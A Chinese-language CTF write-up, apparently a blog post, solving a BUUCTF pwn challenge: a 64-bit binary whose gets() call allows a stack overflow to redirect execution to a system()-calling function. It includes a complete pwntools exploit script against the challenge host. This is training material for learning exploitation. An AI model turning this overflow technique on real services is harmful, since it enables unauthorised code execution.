首先看到无后缀文件,可以判断应该是Linux EIF文件,用Linux file命令看,发现是64位的文件
接着上IDA64进行静态分析,发现两个函数
main()函数按F5查看伪代码,发现危险函数gets,可以判断存在栈溢出漏洞
接着查看fun()函数,发现是system函数,system是c语言下的一个可以执行shell命令的函数
接下来思路就清晰了,我们需要利用gets函数获取一个长字符串覆盖rip来控制程序流到fun()函数
函数的局部变量会存放在他的栈中,那么在main函数中,我们双击s变量,查看s分配了多少空间
这里可以使用gbd动态调试,也可以简单点直接算
0x0-(-0x0f)=0xf
是15个字节的空间,也就是在main函数的栈帧中,给s划分了一个15字节的存储空间
因为是64位的EIF文件,所以rbp是8个字节
(如果对这部分不太理解,笔者做了PWN基础知识详解,可以阅读这篇文章)
https://blog.csdn.net/weixin_43780092/article/details/126694251
那么我们还需要8个自己的数据把Caller’s rbp的数据填满(当然在本题中应该是rbp,因为是64位的系统),这样可以溢出进入Return
Address了,所以接下来我们输入Return
Address(返回地址),也就是说,也就是fun函数的地址,地址我们可以看到是0x401186
现在可以构建exp了
from pwn import *
p=remote("node4.buuoj.cn",29244) //靶机地址和端口
payload='A'*15+'B'*8+p64(0x401186+1).decode("iso-8859-1")
//char s的15个字节+RBP的8字节+fun函数入口地址,+1为了堆栈平衡,p64()发送数据时,是发送的字节流,也就是比特流(二进制流)。
p.sendline(payload)
p.interactive()
运行exp发现跑通了,先ls查看文件,发现flag
cat flag解出本题
有错误的地方欢迎指正交流!
-------------------------------------------------------------------------------------------------------------------------------